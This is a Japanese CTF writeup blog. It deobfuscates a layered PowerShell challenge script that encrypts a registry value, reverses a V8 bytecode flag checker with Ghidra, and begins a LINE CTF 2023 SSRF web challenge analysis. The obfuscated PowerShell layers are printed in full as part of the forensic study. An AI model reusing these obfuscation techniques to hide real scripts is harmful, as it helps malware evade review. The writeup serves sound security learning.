U6/zZOY0UW0TKmZDgCQmt3xifRS0yLuTgwVjXZDrY6VwbYxKOMdB9+mUNi2TOjfzJp87OY2rxVPhLuloOOnJqIa8eW2zTrtcbFEXvQ+1NUK5WS7S+x2VXRVHpRZI81pRP2lr1kb9Q8P5hr1Snfrc7Ti06uNMp16W7ftjsAl3KXnXLEmbX4V84trA3Vf+2sKEnjG/bwqxaiRJyhbMaxz5R3vvzUfdS2S9UKS3dLNPZKUOKbCLbVLGiWpHdIGb0GCNi6W89L5KdrWOfK9+uAFvXCtHmTjoYx5ss9RL9og9+LPp/DG6qXW72uFXPsngl0HocSKkNiNDQTPJaOaoEakZCiz4Ov93iXmjBZN8q8zc9re8no5FWrnRnomNeY+DzMPaPI40u2FSwVCzCkjTP6JGVnrfi04fFkuF/McI49pG/St1giA8Bb+19x98+BugX95Q1jL362dCCtL52KWA9d4nSQdplW0vN8o0LABXTtFI+3QYhZxXUxEptGW6C2cp2PMbKE1ZBc9ZHrmeFMxz06MBQ5A2vKqFzVwFnjqkZ2keGCqpvKahlMvM/') , [sYStEM.IO.comPression.cOmpReSsIoNmOde]::DeComprESS)|%{ NEW-oBjECt Io.StREAMReadER( $_ ,[tExt.enCODiNg]::aSCII) } ).reaDtoEND() 

CyberChefでinflateする。なんかすごい。どうせ $vErbOsePrEFeReNcE.TosTrIng()[1,3]+'X'-jOiN''iex なので、それ以降の処理がどうなっているか確認したい。

 . ( $vErbOsePrEFeReNcE.TosTrIng()[1,3]+'X'-jOiN'')(((("{29}{5}{38}{55}{1}{46}{27}{2}{26}{33}{31}{43}{21}{9}{6}{32}{28}{39}{34}{15}{18}{54}{53}{16}{47}{8}{51}{13}{50}{25}{37}{36}{52}{23}{22}{3}{19}{4}{30}{57}{49}{0}{58}{20}{40}{42}{41}{24}{45}{12}{44}{11}{48}{10}{17}{56}{7}{14}{35}"-f'{PUxrohSH+hSHxb-]}i{hSH+hSHPUx[}b{PUx=]}i{PUx[}B{PUx{)++}i{PUx;FIahTvYJGnEvYJL','hSH eCalpeR-43]RahC[,)07]RahC[+37]RahC[+79]RahC[( eCalpeR- 63]','H;};006 sdnoceS- )pkilS-tratSpki,pk','pkitppki,pkiyrC.ytirucpkif- FIa}2{}6{}5{}9{}3{}1{}0{}7{}','i,pkiejpki f-FIa}2{}0{}1{FIa(.hSH+hSH = }hvYJhSH+hSHS{PUx;)pkiredivopki,pkieApkihS',' {( [ReGeX]::mAtCHEs(ZDG)hSHhSHNiOJ-]52,51,4[CEP','SH+hSHgNeLFIa.}b{PUx ,0 ,}b{PUx(ekovnI.)pkisnarpkih','hSH+hSHtes{ )1 qe- yaD.)etaD-teG( dna- 4 q','hSH}H{PUx = FIayevYJkFIa.}A{PUx;))}K{PUx(ehSH+hSHkovnI.)pkisphSH+hSHki,hSH+hSHpkiteGpki,pkietyBpkif-FhSH+hSHIa}2{}0{}1{FIa(.}U{PUx(FIaHsahvYJETuPMvYJOvYJcFIa.}hSH','YJh','SH','Hp','i,pkiawtfoSEOpkhSH+hSHi,pkifpki,pkiFTCEOpki,pkix','}H{PUx;)pkimpki,pkiE8FTU.txhSH+hSHeT.pki,pkietsySpki,pkigpki,pkinidocnpkif','e- htnoM.)etaD-teG((fihSH(( ZDG ,hSH.hSH ,hSHrIGHtTolEfThSH )-Join hSHhSH) 7rt &( IM','.}e{PUx =','H+hSH= FhSH+hSHIaVvYJIFIa.}A{PUx;','+hSHa}4{}2{',' }DvYJe{PUx;hSH+hSH)(e','4{}01{}8{FIa( )pkitcpki,pkibO-weNpk','PUx(rof;))pkirpki,pkibb1fpki,pki3pkhSH+hS','spki(&;}dE{PUx;)FIaHTv','idpki,','H+hSHi,pk','PER-  )hSH+hSH)pk','I','ippki,pkiee','rC- )hS','ki','if (IMYenv:COMPUTERNAME -eq ZDGRICSECZDG)','H+hSH,pkiivrepki,pkiSophSH+hSHki,pkispki,pkitpyrpki,pkiS.pki,pkigopki,pki','N- ))29]RaHc[]gnIRTs[,)45]RaHc[+111]RaHc[+401]RaHc[((FIaecAlPvYJerFIa.))pkiFpki,pkioh:pki,pkiUpki,pkiTChSH+hSHpki,pkifosorcihSH+hSHM6hSH+hSHohepki,pki6ohtpki,pkiCKHpki,pkioS6pki,pkiraw','SH+hSH,pkikcolBlapki,p','pkihSH+hSH f- FIa}1{}0{}hSH+hSH2hSH+hSH{FIa(.;}de{PUx eulaV- )pkineifpki,pkidpkif-FIahSH+hSH}hSH+hSH0{}1{FIa( ema','i,pkihSH+hSHniFmrofpkif-FIa}2{}0{}3{}1hSH+hSH{FIa(','YSheLLID[1]+IMYSheLliD[13]+hSHxhSH)};','hSHapki,pkiySpki,pkiepki,pkieganhSH+hSHaM652Apki,pkiHS.ypki,pkiS.','a(. = }U{PUx;)pkietspki,pkihphSH+','sMOc:VneIMY (.7rt)93]RahC[,)211]RahC[+701]RahC[+501]RahC[(eCALPErC-69]R','Tpk','Hif- FIa}2{}0hSH+hSH{}1{FIa((ekovnI.)pkisetpki,pkihSH+hSH','H+hSH)96]rAHc[+97]rAHc[+021]rAHc[( ecal','Gpki,pkiyhSH+hSHBtepkif-FhSH+hSHIa}2{}0{}1{FIa(.FIaiivYJcSaFIa:hSH+hSH:1KIQ9sPUx  =}k{PUx;FIaDNeivYJfFIa.))29]rAHc[,hS','pki,pkitfpki f-FIa}9{}6{}4{}5{}1{}0{}2{}8{}7{}3{FIa((( )pkip','tpki,pkix:pkif-FIa}2{}1{}3{}7{}5{}4{}0{}6{FIa((( )pkipgpki(&(=}B{PUx  ;) hSH+hSH )pkiGpki,pkiOcNE.TxEhSH+hS','iosorciMEOxpki,pkiUCKHpki,pkierpk','RahC[,hSHPUxhSH eCALPE','hSH+hSH51..0 = }vIhSH+hSH{PUx]][etyb[;hSH+','kihSH+hSH,pkiNIhSH+hSHdpki,pkit.METpki,pkisYspkif-FIh','pyrC.ytirucepki,pkirPecpki,pki.yhparpki,pkimetsySpki f-FIhSH+hSHa}21{}2{}01{}9{}7{}4{}8{}11{}1{}hSH+hSH5{}hSH+hSH3{}6{}0{FIa( )pkicepki,pkijbOpki,pki-weNpki,pkitpki f-FIa}0{}3{}2{}1{FIa(. = }A{PUx;}]FIahtGvYJNeLFIa.}k{PUx%}i{PUx[}k','- FhSH+hSHIhSH+hSHa}hSH+hSH1{}0{}3{}4{}2{FIa( )pkitcejbO-pki,pkiNpki,pkiwephSH+hSHkif-FIa}2{}0{}1{F','+hSHhs{PUhSH+hSHx = ','mpki,pkirgopkhS','2{}0{}1{}3{}4{FIa(.}a{PUx = }e{hSH+hSHPUx;}Vi{PUx hS','kovnI.)pkirChSH+hSHpki,hSH+hSHpkithSH+hSHaepki,pkirotpki,pkiepki,pkipyrcnEpkhSH+hSHi f- FIa}','ahC[,hSHvYJ','}3{}1{}0{FIa(]ePYT[  (  )pki1pkhSH+hSHi+pkikIpki+pkiq9s:ElbairaVpki(  mEtI-','Cpki,pkit','FIa.}hSH+hSHB{PUxtl-}i{PUx;0=}i{'))-rePlace '7rt',[chaR]124  -rePlace  'ZDG',[chaR]34-cRePlAce  ([chaR]104+[chaR]83+[chaR]72),[chaR]39-cRePlAce 'IMY',[chaR]36) )

最初の .Write-Host に書き換えて実行すると、さらに次のようなスクリプトが得られた。はい。if ($env:COMPUTERNAME -eq "RICSEC") { … } という条件文があるけれども、それよりも何がこう難読化されているかを知りたい。

ieX if ($env:COMPUTERNAME -eq "RICSEC") {( [ReGeX]::mAtCHEs(")''NiOJ-]52,51,4[CEPsMOc:Vne$ (.|)93]RahC[,)211]RahC[+701]RahC[+501]RahC[(eCALPErC-69]RahC[,'vYJ' eCalpeR-43]RahC[,)07]RahC[+37]RahC[+79]RahC[( eCalpeR- 63]RahC[,'PUx' eCALPErC- )';};006 sdnoceS- )pkilS-tratSpki,pkippki,pkieepki'+' f- FIa}1{}0{}'+'2'+'{FIa(.;}de{PUx eulaV- )pkineifpki,pkidpkif-FIa'+'}'+'0{}1{FIa( emaN- ))29]RaHc[]gnIRTs[,)45]RaHc[+111]RaHc[+401]RaHc[((FIaecAlPvYJerFIa.))pkiFpki,pkioh:pki,pkiUpki,pkiTC'+'pki,pkifosorci'+'M6'+'ohepki,pki6ohtpki,pkiCKHpki,pkioS6pki,pkirawpki,pkitfpki f-FIa}9{}6{}4{}5{}1{}0{}2{}8{}7{}3{FIa((( )pkipspki(&;}dE{PUx;)FIaHTvYJ'+'gNeLFIa.}b{PUx ,0 ,}b{PUx(ekovnI.)pkisnarpki'+',pkikcolBlapki,pkiTpki,pki'+'niFmrofpkif-FIa}2{}0{}3{}1'+'{FIa(.}e{PUx = }DvYJe{PUx;'+')(ekovnI.)pkirC'+'pki,'+'pkit'+'aepki,pkirotpki,pkiepki,pkipyrcnEpk'+'i f- FIa}2{}0{}1{}3{}4{FIa(.}a{PUx = }e{'+'PUx;}Vi{PUx '+'= F'+'IaVvYJIFIa.}A{PUx;'+'51..0 = }vI'+'{PUx]][etyb[;'+'}H{PUx = FIayevYJkFIa.}A{PUx;))}K{PUx(e'+'kovnI.)pkisp'+'ki,'+'pkiteGpki,pkietyBpkif-F'+'Ia}2{}0{}1{FIa(.}U{PUx(FIaHsahvYJETuPMvYJOvYJcFIa.}'+'hs{PU'+'x = }H{PUx;)pkimpki,pkiE8FTU.tx'+'eT.pki,pkietsySpki,pkigpki,pkinidocnpkif- F'+'I'+'a}'+'1{}0{}3{}4{}2{FIa( )pkitcejbO-pki,pkiNpki,pkiwep'+'kif-FIa}2{}0{}1{FIa(. = }U{PUx;)pkietspki,pkihp'+'apki,pkiySpki,pkiepki,pkiegan'+'aM652Apki,pkiHS.ypki,pkiS.mpki,pkirgopk'+'i,pkidpki,pkitppki,pkiyrC.ytirucpkif- FIa}2{}6{}5{}9{}3{}1{}0{}7{}4{}01{}8{FIa( )pkitcpki,pkibO-weNpki,pkiejpki f-FIa}2{}0{}1{FIa(.'+' = }hvYJ'+'S{PUx;)pkiredivopki,pkieApki'+',pkiivrepki,pkiSop'+'ki,pkispki,pkitpyrpki,pkiS.pki,pkigopki,pkiCpki,pkitpyrC.ytirucepki,pkirPecpki,pki.yhparpki,pkimetsySpki f-FI'+'a}21{}2{}01{}9{}7{}4{}8{}11{}1{}'+'5{}'+'3{}6{}0{FIa( )pkicepki,pkijbOpki,pki-weNpki,pkitpki f-FIa}0{}3{}2{}1{FIa(. = }A{PUx;}]FIahtGvYJNeLFIa.}k{PUx%}i{PUx[}k{PUxro'+'xb-]}i{'+'PUx[}b{PUx=]}i{PUx[}B{PUx{)++}i{PUx;FIahTvYJGnEvYJLFIa.}'+'B{PUxtl-}i{PUx;0=}i{PUx(rof;))pkirpki,pkibb1fpki,pki3pk'+'if- FIa}2{}0'+'{}1{FIa((ekovnI.)pkisetpki,pki'+'Gpki,pkiy'+'Btepkif-F'+'Ia}2{}0{}1{FIa(.FIaiivYJcSaFIa:'+':1KIQ9sPUx  =}k{PUx;FIaDNeivYJfFIa.))29]rAHc[,'+')96]rAHc[+97]rAHc[+021]rAHc[( ecalPER-  )'+')pkiosorciMEOxpki,pkiUCKHpki,pkierpki,pkiawtfoSEOpk'+'i,pkifpki,pkiFTCEOpki,pkixtpki,pkix:pkif-FIa}2{}1{}3{}7{}5{}4{}0{}6{FIa((( )pkipgpki(&(=}B{PUx  ;) '+' )pkiGpki,pkiOcNE.TxE'+'pki'+',pkiNI'+'dpki,pkit.METpki,pkisYspkif-FI'+'a}4{}2{}3{}1{}0{FIa(]ePYT[  (  )pki1pk'+'i+pkikIpki+pkiq9s:ElbairaVpki(  mEtI-'+'tes{ )1 qe- yaD.)etaD-teG( dna- 4 qe- htnoM.)etaD-teG((fi'(( " ,'.' ,'rIGHtTolEfT' )-Join '') | &( $SheLLID[1]+$SheLliD[13]+'x')};

$SheLLID[1]+$SheLliD[13]+'x' はきっと iex なので、これに投げられている部分を抽出して実行する。シンタックスハイライトをしてもらうと、どの部分が文字列なのかがわかりやすくてよい。

次のようなスクリプトが吐き出された。$enV:cOMsPEC[4,15,25]-JOiN'' はやっぱり iex

 (('if((Get-Date).Month -eq 4 -and (Get-Date).Day -eq 1) {set'+'-ItEm  (ikpVariablE:s9qikp+ikpIkikp+i'+'kp1ikp)  (  [TYPe](aIF{0}{1}{3}{2}{4}a'+'IF-fikpsYsikp,ikpTEM.tikp,ikpd'+'INikp,'+'ikp'+'ExT.ENcOikp,ikpGikp) '+' );  xUP{B}=(&(ikpgpikp) (((aIF{6}{0}{4}{5}{7}{3}{1}{2}aIF-fikp:xikp,ikptxikp,ikpOECTFikp,ikpfikp,i'+'kpOESoftwaikp,ikpreikp,ikpHKCUikp,ikpxOEMicrosoikp)'+')  -REPlace ([cHAr]120+[cHAr]79+[cHAr]69)'+',[cHAr]92)).aIFfJYvieNDaIF;xUP{k}=  xUPs9QIK1:'+':aIFaScJYviiaIF.(aIF{1}{0}{2}aI'+'F-fikpetB'+'yikp,ikpG'+'ikp,ikptesikp).Invoke((aIF{1}{'+'0}{2}aIF -fi'+'kp3ikp,ikpf1bbikp,ikprikp));for(xUP{i}=0;xUP{i}-ltxUP{B'+'}.aIFLJYvEnGJYvThaIF;xUP{i}++){xUP{B}[xUP{i}]=xUP{b}[xUP'+'{i}]-bx'+'orxUP{k}[xUP{i}%xUP{k}.aIFLeNJYvGthaIF]};xUP{A} = .(aIF{1}{2}{3}{0}aIF-f ikptikp,ikpNew-ikp,ikpObjikp,ikpecikp) (aIF{0}{6}{3'+'}{5'+'}{1}{11}{8}{4}{7}{9}{10}{2}{12}a'+'IF-f ikpSystemikp,ikpraphy.ikp,ikpcePrikp,ikpecurity.Cryptikp,ikpCikp,ikpogikp,ikp.Sikp,ikpryptikp,ikpsikp,ik'+'poSikp,ikperviikp,'+'ikpAeikp,ikpoviderikp);xUP{S'+'JYvh} = '+'.(aIF{1}{0}{2}aIF-f ikpjeikp,ikpNew-Obikp,ikpctikp) (aIF{8}{10}{4}{7}{0}{1}{3}{9}{5}{6}{2}aIF -fikpcurity.Cryikp,ikpptikp,ikpdikp,i'+'kpogrikp,ikpm.Sikp,ikpy.SHikp,ikpA256Ma'+'nageikp,ikpeikp,ikpSyikp,ikpa'+'phikp,ikpsteikp);xUP{U} = .(aIF{1}{0}{2}aIF-fik'+'pewikp,ikpNikp,ikp-Objectikp) (aIF{2}{4}{3}{0}{1'+'}a'+'I'+'F -fikpncodinikp,ikpgikp,ikpSysteikp,ikp.Te'+'xt.UTF8Eikp,ikpmikp);xUP{H} = x'+'UP{sh'+'}.aIFcJYvOJYvMPuTEJYvhasHaIF(xUP{U}.(aIF{1}{0}{2}aI'+'F-fikpByteikp,ikpGetikp'+',ik'+'psikp).Invok'+'e(xUP{K}));xUP{A}.aIFkJYveyaIF = xUP{H}'+';[byte[]]xUP{'+'Iv} = 0..15'+';xUP{A}.aIFIJYvVaI'+'F ='+' xUP{iV};xUP'+'{e} = xUP{a}.(aIF{4}{3}{1}{0}{2}aIF -f i'+'kpEncrypikp,ikpeikp,ikptorikp,ikpea'+'tikp'+',ikp'+'Crikp).Invoke()'+';xUP{eJYvD} = xUP{e}.(aIF{'+'1}{3}{0}{2}aIF-fikpformFin'+'ikp,ikpTikp,ikpalBlockikp,'+'ikpransikp).Invoke(xUP{b}, 0, xUP{b}.aIFLeNg'+'JYvTHaIF);xUP{Ed};&(ikpspikp) (((aIF{3}{7}{8}{2}{0}{1}{5}{4}{6}{9}aIF-f ikpftikp,ikpwarikp,ikp6Soikp,ikpHKCikp,ikptho6ikp,ikpeho'+'6M'+'icrosofikp,ikp'+'CTikp,ikpUikp,ikp:hoikp,ikpFikp)).aIFreJYvPlAceaIF(([cHaR]104+[cHaR]111+[cHaR]54),[sTRIng][cHaR]92)) -Name (aIF{1}{0'+'}'+'aIF-fikpdikp,ikpfienikp) -Value xUP{ed};.(aIF{'+'2'+'}{0}{1}aIF -f '+'ikpeeikp,ikppikp,ikpStart-Slikp) -Seconds 600;};') -CrEPLACe 'xUP',[ChaR]36 -ReplaCe ([ChaR]97+[ChaR]73+[ChaR]70),[ChaR]34-ReplaCe 'JYv',[ChaR]96-CrEPLACe([ChaR]105+[ChaR]107+[ChaR]112),[ChaR]39)|.( $enV:cOMsPEC[4,15,25]-JOiN'')

iex に投げられている部分を抽出して実行する。やっとまともに読めるPowerShellスクリプトが出てきた。

if((Get-Date).Month -eq 4 -and (Get-Date).Day -eq 1) {set-ItEm  ('VariablE:s9q'+'Ik'+'1')  (  [TYPe]("{0}{1}{3}{2}{4}"-f'sYs','TEM.t','dIN','ExT.ENcO','G')  );  ${B}=(&('gp') ((("{6}{0}{4}{5}{7}{3}{1}{2}"-f':x','tx','OECTF','f','OESoftwa','re','HKCU','xOEMicroso'))  -REPlace ([cHAr]120+[cHAr]79+[cHAr]69),[cHAr]92))."f`ieND";${k}=  $s9QIK1::"aSc`ii".("{1}{0}{2}"-f'etBy','G','tes').Invoke(("{1}{0}{2}" -f'3','f1bb','r'));for(${i}=0;${i}-lt${B}."L`EnG`Th";${i}++){${B}[${i}]=${b}[${i}]-bxor${k}[${i}%${k}."LeN`Gth"]};${A} = .("{1}{2}{3}{0}"-f 't','New-','Obj','ec') ("{0}{6}{3}{5}{1}{11}{8}{4}{7}{9}{10}{2}{12}"-f 'System','raphy.','cePr','ecurity.Crypt','C','og','.S','rypt','s','oS','ervi','Ae','ovider');${S`h} = .("{1}{0}{2}"-f 'je','New-Ob','ct') ("{8}{10}{4}{7}{0}{1}{3}{9}{5}{6}{2}" -f'curity.Cry','pt','d','ogr','m.S','y.SH','A256Manage','e','Sy','aph','ste');${U} = .("{1}{0}{2}"-f'ew','N','-Object') ("{2}{4}{3}{0}{1}" -f'ncodin','g','Syste','.Text.UTF8E','m');${H} = ${sh}."c`O`MPuTE`hasH"(${U}.("{1}{0}{2}"-f'Byte','Get','s').Invoke(${K}));${A}."k`ey" = ${H};[byte[]]${Iv} = 0..15;${A}."I`V" = ${iV};${e} = ${a}.("{4}{3}{1}{0}{2}" -f 'Encryp','e','tor','eat','Cr').Invoke();${e`D} = ${e}.("{1}{3}{0}{2}"-f'formFin','T','alBlock','rans').Invoke(${b}, 0, ${b}."LeNg`TH");${Ed};&('sp') ((("{3}{7}{8}{2}{0}{1}{5}{4}{6}{9}"-f 'ft','war','6So','HKC','tho6','eho6Microsof','CT','U',':ho','F'))."re`PlAce"(([cHaR]104+[cHaR]111+[cHaR]54),[sTRIng][cHaR]92)) -Name ("{1}{0}"-f'd','fien') -Value ${ed};.("{2}{0}{1}" -f 'ee','p','Start-Sl') -Seconds 600;};

minifyされていてちょっと読みづらいので適宜改行などを入れ、さらに難読化されている部分を実行して元の文字列を手に入れる。これでだいぶ読みやすくなった。

AesCryptoServiceProvider を使っているあたりから、AESによる暗号化をしているのだなあという雰囲気がつかめる。ではそれで何を暗号化しているかというと、(&('gp') ("HKCU:\Software\Microsoft\CTF")."fieND"Get-ItemProperty によってレジストリを参照している。そして、暗号化してからそれを同じ場所に格納している。

if ((Get-Date).Month -eq 4 -and (Get-Date).Day -eq 1) {
    set-ItEm  VariablE:s9qIk1 (  [TYPe]("sYsTEM.tExT.ENcOdING")  );
    
    ${B}=(&('gp') ("HKCU:\Software\Microsoft\CTF")."f`ieND";

    ${k} = $s9QIK1::"aSc`ii".GetBytes.Invoke("f1bb3r");
    for (${i} = 0; ${i} -lt ${B}."L`EnG`Th"; ${i}++) {
        ${B}[${i}] = ${b}[${i}]-bxor${k}[${i} % ${k}."LeN`Gth"]
    };

    ${A} = New-Object System.Security.Cryptography.AesCryptoServiceProvider;
    ${S`h} = New-Object System.Security.Cryptography.SHA256Managed;
    ${U} = New-Object System.Text.UTF8Encoding;
    ${H} = ${sh}.cOMPuTEhasH(${U}.GetBytes.Invoke(${K}));

    ${A}."k`ey" = ${H};
    [byte[]]${Iv} = 0..15;
    ${A}."I`V" = ${iV};

    ${e} = ${a}.CreateEncryptor.Invoke();
    ${e`D} = ${e}.TransformFinalBlock.Invoke(${b}, 0, ${b}."LeNg`TH");
    ${Ed};
    &('sp') "HKCU:\Software\Microsoft\CTF" -Name "fiend" -Value ${ed};
    .("{2}{0}{1}" -f 'ee', 'p', 'Start-Sl') -Seconds 600;
};

復号はその逆の処理をすればよさそう。秘密鍵とIVは適当に実行して手に入れておく。

さて、暗号化された後のバイト列を手に入れるためには、レジストリを参照する必要がある。そのために、Volatilityで再びメモリダンプを見ていく。さっきのスクリプトはHKCUを参照していたので、見るべき場所は C:\Users\User\ntuser.dat だ。

$ vol -f memory.raw windows.registry.hivelist.HiveList
Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
Offset  FileFullPath    File output

0x850e68a85000          Disabled
0x850e68a5b000  \REGISTRY\MACHINE\SYSTEM        Disabled
0x850e68b32000  \REGISTRY\MACHINE\HARDWARE      Disabled
0x850e6a450000  \SystemRoot\System32\Config\SOFTWARE    Disabled
…
0x850e6e280000  \??\C:\Users\User\ntuser.dat    Disabled
…

vol -f memory.raw windows.registry.printkey.PrintKey --offset 0x850e6e280000 --recurse で、以下のように fiend に入っているバイト列が取り出せた。これをCyberChefで復号するとフラグが得られる。

*** 2023-04-01 08:44:57.000000     0x850e6e280000    REG_BINARY    \??\C:\Users\User\ntuser.dat\Software\Microsoft\CTF    fiend    "
39 da 2a 85 c9 5b 42 17    9.*..[B.
84 11 d8 23 3b 0b f2 0e    ...#;...
26 8c 95 89 ff e6 f1 7e    &......~
4b f8 43 42 d0 24 37 70    K.CB.$7p"    False
RicSec{6r347_90w3r!}

[Reversing 341] ignition (6 solves)

3... 2... 1... ignition.

Hint: use Ghidra v9.2.2

authored by Arata

添付ファイル: ignition

challenge.jsc という謎のファイルが与えられている。file コマンドに投げてみるが、そんなん知らんわと言われる。

$ file challenge.jsc
challenge.jsc: data

このファイルを実行するための check.sh と、check.sh が必要とする Dockerfile も添付されている。それぞれ以下のような内容で、どうやら bytenode/bytenode というツールによって実行しているようだとわかる。BytenodeはNode.js向けの(V8の)バイトコードコンパイラらしい。実行もできる。

#!/bin/sh

docker build -t ignition . > /dev/null 2>&1
docker run --rm ignition $@
FROM node:8

RUN npm i -g bytenode

COPY challenge.jsc /

ENTRYPOINT ["bytenode", "/challenge.jsc"]

ではどうすれば challenge.jsc を解析できるだろうか。問題文からGhidraを使えそうなことがわかるので、ghidra jsc のようなクエリで検索する。すると、PositiveTechnologies/ghidra_nodejs という便利そうなツールが見つかる。少し古めのようで、9.2.2とGhidraもちょっと古めのものを用意しろと言われている意味がわかった。

Ghidra 9.2.2をダウンロードしてきて、このプラグインを導入する。challenge.jsc を投げると以下のようにいい感じにデコンパイルできた。ただし、デコンパイル先はJavaScriptでなくCだけれども。

ちょっと面倒だけど読めないことはないので、JavaScriptコードに直していく。main は次のような感じ。

if (process.argv.length !== 3) {
    console.log('Usage: check.sh <flag>');
    process.exit(1);
}

if (checkFlag(process.argv[2])) {
    console.log("Correct");
} else {
    console.log("Wrong");
}

checkFlag は次のような感じ。ところどころ違うだろうけれども、こういう雰囲気ということで。元のコードでは、たとえば配列の初期化処理が CreateArrayLiteral(_context,_closure,0,0,0x25) のようになっていて、じゃあその中身はどこなんだと探したり(別の場所にまとめられていた)、プロパティへのアクセスが LdaNamedProperty(iVar3,"slice") のようになっていて、第一引数はどのオブジェクトなんだと探したりと色々面倒だったが、なんとかなった。

function checkFlag(s) {
    const encoded = [0x31,0x66,0x6F,0x33,0x77,0x34,0x38,0x63,0x4A,0x40,0x4E,0x2D,0xF5,0x8A,0x49,0x6,0xBE,0x62,0x29,0x26,0x32,0xB1,0x1F,0xAE,0x52,0x20,0x52,0x2A];

    if (s.length !== 0x24) {
        return false;
    }
    if (s.slice(0, 7) !== 'RicSec{') {
        return false;
    }
    if (s.slice(-1) !== '}') {
        return false;
    }

    for (let i = 0; i <= 0x1b; i++) {
        const c = s.charCodeAt(i + 7)
        if (((F(c) ^ c) & 0xff) !== encoded[i]) {
            return false;
        }
    }

    return true;
}

最後に F。こういうスクリーンショットを投げたところ、ふるつきさんがフィボナッチ数列っぽいとエスパーしてくれた。

とりあえず Fフィボナッチ数列として、encoded をもとにデコードするスクリプトを書く。フラグが得られた。

function fib(n) {
    let [a, b] = [0, 1];
    for (let i = 0; i < n; i++) {
        [a, b] = [b, a + b];
    }
    return a;
}

const a = [0x31,0x66,0x6F,0x33,0x77,0x34,0x38,0x63,0x4A,0x40,0x4E,0x2D,0xF5,0x8A,0x49,0x6,0xBE,0x62,0x29,0x26,0x32,0xB1,0x1F,0xAE,0x52,0x20,0x52,0x2A];
console.log(a.map((x, i) => String.fromCharCode(x ^ (fib(i) & 0xff))).join('')); // => 1gn1t10n_bytec0de_1s_s0_r1ch
RicSec{1gn1t10n_bytec0de_1s_s0_r1ch}

*1:今回は3人での参加だった

*2:CTFに出るたびに言っている

LINE CTF 2023 writeup

3/25 - 3/26という日程で開催された。C++感あふれるチーム std::weak_ptr<moon> で参加して11位だった。24時間という競技時間に対してWebが9問と多く、かつ全体的に難易度も高く、ひいひい言いつつ楽しんでいた。


競技時間中に解いた問題

[Web 100] Baby Simple GoCurl (163 solves)

Read the flag (/flag)

(問題サーバのURL)

添付ファイル: baby-simple-gocurl_3e562770d3be9c9d047169c7b235281b.tar.gz

与えられたURLにアクセスすると、次のような画面が表示された。URLを入力すると、このサーバが代わりにアクセスしてその内容を返してくれるらしい。好きなHTTPリクエストヘッダをそのアクセスの際に付与してくれる便利な機能もついている。

以下のようなソースコードが与えられている。

package main

import (
    "errors"
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "os"
    "strings"

    "github.com/gin-gonic/gin"
)

func redirectChecker(req *http.Request, via []*http.Request) error {
    reqIp := strings.Split(via[len(via)-1].Host, ":")[0]

    if len(via) >= 2 || reqIp != "127.0.0.1" {
        return errors.New("Something wrong")
    }

    return nil
}

func main() {
    flag := os.Getenv("FLAG")

    r := gin.Default()

    r.LoadHTMLGlob("view/*.html")
    r.Static("/static", "./static")

    r.GET("/", func(c *gin.Context) {
        c.HTML(http.StatusOK, "index.html", gin.H{
            "a": c.ClientIP(),
        })
    })

    r.GET("/curl/", func(c *gin.Context) {
        client := &http.Client{
            CheckRedirect: func(req *http.Request, via []*http.Request) error {
                return redirectChecker(req, via)
            },
        }

        reqUrl := strings.ToLower(c.Query("url"))
        reqHeaderKey := c.Query("header_key")
        reqHeaderValue := c.Query("header_value")
        reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
        fmt.Println("[+] " + reqUrl + ", " + reqIP + ", " + reqHeaderKey + ", " + reqHeaderValue)

        if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
            c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
            return
        }

        req, err := http.NewRequest("GET", reqUrl, nil)
        if err != nil {
            c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
            return
        }

        if reqHeaderKey != "" || reqHeaderValue != "" {
            req.Header.Set(reqHeaderKey, reqHeaderValue)
        }

        resp, err := client.Do(req)
        if err != nil {
            c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
            return
        }

        defer resp.Body.Close()

        bodyText, err := ioutil.ReadAll(resp.Body)
        if err != nil {
            c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
            return
        }
        statusText := resp.Status

        c.JSON(http.StatusOK, gin.H{
            "body":   string(bodyText),
            "status": statusText,
        })
    })

    r.GET("/flag/", func(c *gin.Context) {
        reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]

        log.Println("[+] IP : " + reqIP)
        if reqIP == "127.0.0.1" {
            c.JSON(http.StatusOK, gin.H{
                "message": flag,
            })
            return
        }

        c.JSON(http.StatusBadRequest, gin.H{
            "message": "You are a Guest, This is only for Host",
        })
    })

    r.Run()
}

気になるところをピックアップしていく。まず気になるフラグの在り処だが、どうやら /flag/ にあるらしい。ただし、127.0.0.1 からアクセスしないと弾かれてしまう。

   r.GET("/flag/", func(c *gin.Context) {
        reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]

        log.Println("[+] IP : " + reqIP)
        if reqIP == "127.0.0.1" {
            c.JSON(http.StatusOK, gin.H{
                "message": flag,
            })
            return
        }

        c.JSON(http.StatusBadRequest, gin.H{
            "message": "You are a Guest, This is only for Host",
        })
    })

GET /curl/ が前述のフォームの送信先となっており、これのハンドラに指定のURLにアクセスする処理が書かれている。簡単にはフラグを手に入れさせないためか、いくつかフィルターやらなんやらが入っている。

ひとつは Client.CheckRedirect によるリダイレクト時のチェックで、対象のURLのホスト名が 127.0.0.1 でない場合は、リダイレクトができない。http://127.0.0.1:8080/flag/ へリダイレクトさせるWebページを作って、それにアクセスさせるというのは通らないようだ。

       client := &http.Client{
            CheckRedirect: func(req *http.Request, via []*http.Request) error {
                return redirectChecker(req, via)
            },
        }
func redirectChecker(req *http.Request, via []*http.Request) error {
    reqIp := strings.Split(via[len(via)-1].Host, ":")[0]

    if len(via) >= 2 || reqIp != "127.0.0.1" {
        return errors.New("Something wrong")
    }

    return nil
}

もうひとつはここで、127.0.0.1 からのアクセスでない限り、URLに flag, curl, % が含まれていると弾かれる。直接 /flag/ にアクセスさせたり、パーセントエンコーディングfl%61g のようにしてバイパスしたりはできないようだ。

       if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
            c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
            return
        }

